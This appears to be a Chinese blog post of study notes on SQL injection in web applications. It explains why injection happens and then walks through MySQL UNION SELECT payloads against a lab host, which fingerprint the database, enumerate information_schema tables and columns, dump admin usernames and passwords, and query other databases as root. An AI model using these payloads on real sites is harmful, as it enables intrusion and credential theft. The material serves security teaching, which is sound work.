Web安全--SQL注入--MYSQL跨库--ACCESS偏移

知识点:

1.脚本代码与数据库前置知识

2.Access数据库注入

3.MYSQL数据库注入

首先了解一下数据库的前置知识:SQL注入漏洞产生原理分析?产生在数据库里边,通过脚本代码连接执行。SQL注入漏洞危害利用分析-脚本代码与数据库操作流程-数据库名,表名,列名,数据-数据库类型,数据库用户,用户权限。

产生的原因:脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行执行查询语句时。其中的SQL语句能通过参数传递自定义值来控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,例如管理员账号密码)。这个过程就叫SQL注入漏洞。

漏洞产生的根本条件:可控变量和特定函数 

如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?

http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1

http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513

Production/PRODUCT.asp?id=1513 注入语句&page=1 对

Production/PRODUCT.asp?id=1513&page=1 注入语句 错

SQL注入攻击流程:

1.猜测数据库类型(因为每个数据库的sql语句是不一样的,如果我们在Access数据库使用Mysql语法显然这是无效的)

类型:MySQL、Access等

2.当我们知道数据库的类型后,我们根据类型来选择挖掘漏洞的思路

Access数据库是独立存在的--结构:数据库名--表名--列名--数据

Mysql数据库为统一管理,最高数据库用户为root用户,每个人管理自己的数据库,我是谁就管理谁的数据库,结构:数据库A=网站A=数据库用户A--表明--列名--数据、数据库B=网站B=数据库用户B、数据库C=网站C=数据库用户C,数据库BC同A一样。为了网站和数据库的安全性,Mysql内置有Root最高用户,划分等级,每个用户管理自己的数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

Mysql两种思路:

1.非root的注入攻击:常规的猜解(说白了不是root用户意义不大)

2.root用户的注入攻击:文件读写操作,跨库查询注入等

黑盒测试中可以采用user()获取当前用户权限,白盒测试看直连用户即可!

Mysql特性:

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

information_schema.tables

获取相关数据:

1、数据库版本-看是否符合information_schema查询  -version()---5.5.532

2、数据库用户-看是否符合ROOT型注入攻击-user() ---root@localhost

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os---win

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()---syguestbook

ROOT类型攻击-猜解数据,文件读写,跨库查询,sql语句的点代表下一级

 

简单的数据猜解:

获取syguestbook数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'

如果不显示全称就加上group_concat()

获取表名sy_adminuser的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'划颜色部分可以不写,但是可能会有其它数据库的表明重复,造成混乱。

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据

root用户可以管理所有的数据库,其他账户只能单独管理自己的数据库

获取当前mysql下的所有数据库名(schemata是存储所有数据库名字的)

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名xhcms下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'

获取数据库名xhcms下的表manage下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

为什么加xhcms.manage?

因为数据库的默认文件已经连接道syguestbook数据库了,他们两个是同一级的,所以不加xhcms就会在syguestbook中查询表。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值